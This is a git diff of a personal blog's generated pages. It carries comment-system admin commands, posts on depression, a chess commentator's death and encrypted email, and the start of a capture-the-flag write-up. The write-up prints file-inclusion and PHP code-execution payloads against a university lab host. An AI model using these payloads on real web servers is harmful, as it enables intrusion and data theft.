    • HTTP API option: Isso supports DELETE /<comment_id> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.
    • Safety: Always run a backup first, and preview with the SELECT before you run the DELETE.

    One-liners for the impatient

    DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/"
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads  WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +

    Isso container: quick checks & fixes for future me! (thank past me later ^^)

    Find the container

    docker ps -a --format 'table {{.ID}}	{{.Names}}	{{.Status}}	{{.Ports}}' | grep -i isso
    +

    Inspect basic state

    docker inspect -f 'Name={{.Name}}  Running={{.State.Running}}  Status={{.State.Status}}  StartedAt={{.State.StartedAt}}  FinishedAt={{.State.FinishedAt}}' isso
    +

    Logs

    docker logs --tail=200 isso
    +docker logs -f isso
    +

    Ports & reachability

    docker port isso
    +sudo ss -ltnp | grep ':8080 '
    +curl -i http://127.0.0.1:8080/
    +

    Restart policy (keep it running)

    docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso
    +docker update --restart unless-stopped isso
    +

    Start/stop the container

    docker start isso
    +docker stop isso
    +

    Who/what stopped it (events)

    docker events --since 24h --filter container=isso
    +

    Common config issue: duplicate options/sections +If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).

    nl -ba /config/isso.cfg | sed -n '1,120p'
    +grep -n '^\[server\]' /config/isso.cfg
    +grep -n '^public-endpoint' /config/isso.cfg
    +

    Using Docker Compose (run these in the directory with your compose file)

    docker compose ps
    +docker compose logs --tail=200 isso
    +docker compose up -d isso
    +

    If the container doesn’t exist (create/recreate)

    docker image ls | grep -i isso
    +
    +docker run -d   --name isso   -p 8080:8080   -v /srv/isso/config:/config   -v /srv/isso/db:/db   --restart unless-stopped   ghcr.io/posativ/isso:latest
    +

    Optional: exclude from auto-updaters (like Watchtower)

    docker update --label-add com.centurylinklabs.watchtower.enable=false isso
    +

    This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S
    +A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
    +dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm
    +Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY
    +EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH
    +W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb
    +eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
    +Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
    +KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC
    +qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
    +GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
    +=9k+S
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md.asc
    +gpg --verify new_features.md.asc new_features.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/cupid/index.html b/public-clearnet/posts/cupid/index.html new file mode 100644 index 0000000..df623c5 --- /dev/null +++ b/public-clearnet/posts/cupid/index.html @@ -0,0 +1,42 @@ +Cupid is so dumb | AlipourIm journeys +

    Cupid is so dumb

    The lyrics are being played in my brain day and night.

    “A hopeless romantic all my life”

    “Surrounded by couples all the time”

    “I guess I should take it as a sign”

    But… “I gave a second chance to Cupid”

    “But now I’m left here feelin’ stupid”

    I might’ve given more than two chances to cupid.

    But I’m still left here felling’ stupid.

    “I look for his arrows every day”

    “I guess he got lost or flew away”

    But does it matter anymore? +It shouldn’t. It really shouldn’t.

    Now all these jokes aside, today I went to Mensa with my group. When eating, I saw a group of people who I’ve been trying to hang out with, and every time they tell me they let me know to join them, but today I saw them, they hadn’t told me.

    Funny how my mind jumps to conclusions quickly. Funny how I feel left alone so quickly. Or maybe it isn’t funny, idk. What I do know however is that I’m hurt. There is a bit more to the story than that, but I don’t want to open it up. It’s way too personal to be opened.

    The thing is, all of this is just badly affecting me. I cannot really focus on my work, and studies. Maybe I should consider doing more home office? Idk. It could be good though.

    I’ve been trying to jump from one addiction to another, just to calm my senses, just to forget, just to move on.

    I started with ordering unhealthy food from Uber, eating Tuna and Rice, skipping breakfast, watching crap on Youtube, but none of it help. I then went to thm, that has been helping a bit, but not enough.

    I need to be productive at work, I need to take care of my health, I know if I do these, I will feel better about myself and this MDD will go away. Or at least I hope.

    For now all I know is that I’m stuck in MDD, and I cannot get out of it. I’m glad suicidal thoughs are off the table. I’m just glad. They only thing I see is darkness, but I know it will change. The sun will rise. That reminds me, is the wind rising? No? Yes? If so, we need to live.

    I think this is just so painful to me in the sense that I don’t really have many friends that I consider as friends, and I’m being left alone from some groups that I don’t necesserially wanna be a part of. But oh well, I should not care.

    Credit: Cupid by FIFTY FIFTY


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSqXgxAApA2BHjsOLD5510SG/O8FGU5fI6Mh9wa+CzLQY5UgxMloPUPb7wt0PeUf
    +CpBM/jHD6O86DkqppGJNAXHdt/X1bpQeMr0jfXctWijWUhiyDxY/eLId7+GF9IUv
    +YFCTA4Rff7kAbczDMpb2Tj4ZGSJNCAnHtxbzRN23WHY5SX36WZr0Kg496Z/ndxNa
    +2RWo2WA0w9PIvb/rv77+fOx5g7P1Ap+mpFHOYAOeQ3PuHPLTSOrldEZDgr0diYMl
    +HFzs8K0CXUJnW0KaLtfUxEsJEs9nIgoAN3m/xUWCiZEe2fbEYJ/kUArtAJLtEV3r
    +ulcY1NPAuRWbcFdIWYQoD6N9Kxev0e6rvX5kkt3MslV4fAvIXq9TmROOd9i8d6W7
    +oKcf7IO8MJNs4l3+990pvEzu0X9IHdv7GUIf6DQQ15VG3HLBMHzaqDu5fxIGUyz1
    +wJj1Vd18yXkOLCNIdOkQVr5wuZida6/1V8qgMNg5mO/t0bXPvmweqwd4tCy1XErm
    +7d9nIEcGk9dQBuVKJUT0XVN/q3whNFeQmbaoq+Tl/MSNQVfwTbxBMkGxmLQwEWY9
    +mUD+FKlzeyJSaWc0MylcnbtkCQnICWw2mR33NuqPHA2RIrCy49ArrPXXPrIZqOf/
    +91kzN5JeoMvwawhIt9N8+nPGUOs3RTy+qHk9L7DHhtAycdFqm/c=
    +=sXgB
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/cupid.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/cupid.md.asc
    +gpg --verify cupid.md.asc cupid.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/danya.asc b/public-clearnet/posts/danya.asc new file mode 100644 index 0000000..bbcec72 --- /dev/null +++ b/public-clearnet/posts/danya.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAoYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0q9xQP/3O+ZA+A1BJKzO+VhrIVoyE1 +Z1w0Q9sLzW38TI3UC1t8mDeoWuyGTqTfBKP9SfZTarcAdKGAv5Wvn0YIuZP0CR7x +Wg6HleU8PYGCgyxZnW07acRjpt8P1ZajYrZ2UR+ZpAaV+dh7JXFfVGWtExFIN5c1 +qI0HVnPzKewG7UYJ3dguGdP7aOk8pQfCAw1nxwiDVyyMia33jX971hMjjrDWcvdV +hsLZ3j7ZX+Wn9Li5WaPTCTj8KyTF9+URuBhDDyFLkwcjhBpbi97p6EFwm4MNy88D +29byFXVb5SGEraWAtW8Njvw6SSirfhjwB3GozLeSeCCQpWi0W6NL1fU1XA9SjTMC +jPvhHua6QSq1sipdlaNm0t8kahv17m8jajeWgfZPQssYWxp0q3g8eud6ZYpIUsfG ++HGafMBOpTqBgMvT4YVgMPOjV5LYQio3i2nL/zwgFuHeetoJnLe5R0xTp38uEwGw +omHMVP/yRsbgG0ka4xvNcKstERONcJa+A6NuqKHyv/ndB6CoNpGqnZUl8DjhsMGR +btZEfQKVMczQ6r1X6TrPSFeAMaUPjpVPn365hiwgYZfFotoFZ6eaHbFVDLLUxnkw +gpMlIOSJ0w5a+CkRZMbEOYI6/aZ0KgRxL5r2nxes6L2hPhcy1wL9vxR/6jjkeicz +TwDhY5qW8ZzrxZU9uWS1 +=ftPQ +-----END PGP SIGNATURE----- diff --git a/public-clearnet/posts/danya/index.html b/public-clearnet/posts/danya/index.html new file mode 100644 index 0000000..6ef2f71 --- /dev/null +++ b/public-clearnet/posts/danya/index.html @@ -0,0 +1,53 @@ +Danya | AlipourIm journeys +

    Danya

    A sad note about someone I knew in the online world.

    Daniel Naroditsky has passed away. +I’ve never been a pro chess player, but I do follow some of the fun ones, and occasionally Magnus. +I like Fabi a lot, but my all-time favorite is Hikaru. +Danya was my favorite commentator. +Someone who was so fun to watch explaining complex positions. +I think he was indeed, if not the best, one of the best at it.

    The occasion is grim. +However, let’s remember the immense pressure he was under. +Let’s remember how he was accused of cheating by Kramnik many, many times. +By a former world champion. +Someone who has accused many and has ruined their lives for no reason. +The likes of Hikaru!

    The problem is that Hikaru kind of went out of his way and cast doubt on Hans in the past. +I don’t know how to relate to any of these now. +I do think this is some stupid, sad consequence that these baseless accusations have. +All players have their exceptionally good days, and many many bad days. +These accusations make no sense.

    I do think Danya went under so much pressure from these allegations, though. +I don’t know if he ever cheated or not, but like, what’s the point now? +He is gone. +He’ll never be back.

    I don’t know what the cause was, but I hope he didn’t take his own life. +I don’t know how the world will ever forgive FIDE or Kramnik for this. +This bullying in plain sight is just brutal.

    Rest in peace, Danya. +I don’t think the community ever forgets your amazing commentaries, and what a vibrant and nice character you were.


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM
    +jSpazRAAkvfyfZFtYRnSapnmBsWF+f6Sj42Cy5T5PFq6C+DdQdOq1VZjGComKjXv
    +YqD4dkiBNsFXehp/DLUXxh+jvme1icBas5tZJooJX+ykhlDflRRheyz3k/3fpVV2
    +fo48rh5vV3cn1zDUZA2+XJ6I4FMFtUBCTVwtEVTCFNeut2CJzvUnCY3ocQDtBC2O
    +u6PH0hwDYvarj4RFEadIq2+vfN9mSpgTmmoTm7rmKPtKXcZ8DYwS+7tS8RZnYMX9
    +BpaFLH07aYgusamoSS51m6xCL1hSX3tq709bBCJT8/p7Mva/LmwWo3aUH6PqFCY2
    +eTnhxoMGldwPp4PKq3bGt6KrI2zN+P4dTq7LWUdmrlHsxyLGaVhymG4XdrWYxG4c
    +9JhD3FFuNX6u3TMekt9I6BZMmNHX6RLl2Nka/ohXV+1HyH/1flk/47szJXGZ6Gg+
    +NEWWr1rkFZZWju2cVzjprquVbLbRlBuTiBvF3qSaPjhN6VH/XBFkXr8sv4/kSq6B
    +Gn8TtHsqrljhID2OBIv21R5SvtqA61pHzdC47Ie1mzvF4WupJjAA0ekPEBoRgc7X
    +xc7JMmK+AHfIFgEwQUKfgFQ0w89qEUKZve5ThyXjok/9EnvygseomqwGV30DN0S8
    +zVuQEy3O7tkGShRjgnS+T4QddXNk6ciGzEisIIxyFEzJ6P6KSr4=
    +=BEoA
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/danya.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/danya.md.asc
    +gpg --verify danya.md.asc danya.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/e2ee/index.html b/public-clearnet/posts/e2ee/index.html new file mode 100644 index 0000000..46fb792 --- /dev/null +++ b/public-clearnet/posts/e2ee/index.html @@ -0,0 +1,44 @@ +Sending End‑to‑End Encrypted Email (E2EE) without losing friends | AlipourIm journeys +

    Sending End‑to‑End Encrypted Email (E2EE) without losing friends

    If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

    Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

    Why people don’t use E2EE email (and why you still should)

    Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

    But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

    I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

    The contenders (and how they feel to use)

    Proton Mail (consumer‑friendly, great cross‑provider story)

    Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

    Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
    How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
    Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
    Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

    Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

    Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

    Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

    Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
    How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
    Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
    Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

    I was introduced to this one literally for writing this post, I had no idea it existed before.

    Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

    If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

    Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
    How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
    Ups: Seamless for employees; centralized key control; good audit/compliance story.
    Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

    I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

    Outlook / Apple Mail with S/MIME (classic enterprise path)

    S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

    Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
    How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
    Ups: Great inside enterprises; MDM‑friendly; widely supported.
    Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

    Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

    Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

    Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

    Prices: Free.
    How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
    Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
    Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

    This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

    Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

    If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

    Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
    How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
    Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
    Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

    Just no. Don’t trust add-ons. Please.

    So… which should you use?

    If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

    Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

    A note on what E2EE hides (and what it doesn’t)

    End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

    Quick price & fit-at-a-glance

    OptionBest fitPersonal price vibeNotes
    Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
    TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
    Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
    S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
    Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
    Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone

    The 60‑second starter packs

    Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

    Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.


    Shower thoughts

    So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

    A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

    The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

    In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

    Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
    +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
    +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
    +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
    +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
    +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
    +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
    +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
    +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
    +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
    +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
    +=R0VX
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md.asc
    +gpg --verify e2ee.md.asc e2ee.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/g00_tuw_measurement_ctf/index.html b/public-clearnet/posts/g00_tuw_measurement_ctf/index.html new file mode 100644 index 0000000..ae88c50 --- /dev/null +++ b/public-clearnet/posts/g00_tuw_measurement_ctf/index.html @@ -0,0 +1,107 @@ +A TU Wien CTF where Sysops Klaus left the keys in the cron job | AlipourIm journeys +

    A TU Wien CTF where Sysops Klaus left the keys in the cron job

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    1. Collect every passwd_part file sitting in user home directories.
    2. Stitch them together into the root password (the full answer lives in /root/passwd).

    Simple. Boring. Except Klaus was clearly in charge of this VM.


    0) The lay of the land

    Target: g00.tuw.measurement.network

    From the outside you mostly see three faces of the same machine:

    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).


    1) Recon — documentation.md saves the day

    First stop: the main site.

    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    • webweb.g00.tuw.measurement.network
    • pwresetpwreset.g00.tuw.measurement.network

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    Subdomains resolve. Good. Let’s go web.


    2) LFI — include($_GET['page']) classic

    The web vhost is a frameset. Content loads in a frame via ?page=:

    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    Source via PHP filter works too:

    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    First instinct: read all the passwd_part files immediately.

    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.


    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    pwreset source (paraphrased):

    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    Trigger it through LFI:

    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.


    4) RCE — PHP in userchange, included like a boss

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    So I wrote a tiny shell into the user field via pwreset:

    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    ?page=/var/www/userchange
    +

    Output: uid=33(www-data) gid=33(www-data) ...

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    From here on, my mental model was:

    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. LFI include userchange → execute PHP as www-data

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.


    5) Rabbit holes (aka “everything I tried before it worked”)

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    nginx log poisoning

    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    data://, php://input, expect://

    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    vim .swp files

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    Munin / apt_all plugin

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    pwreset log archaeology

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

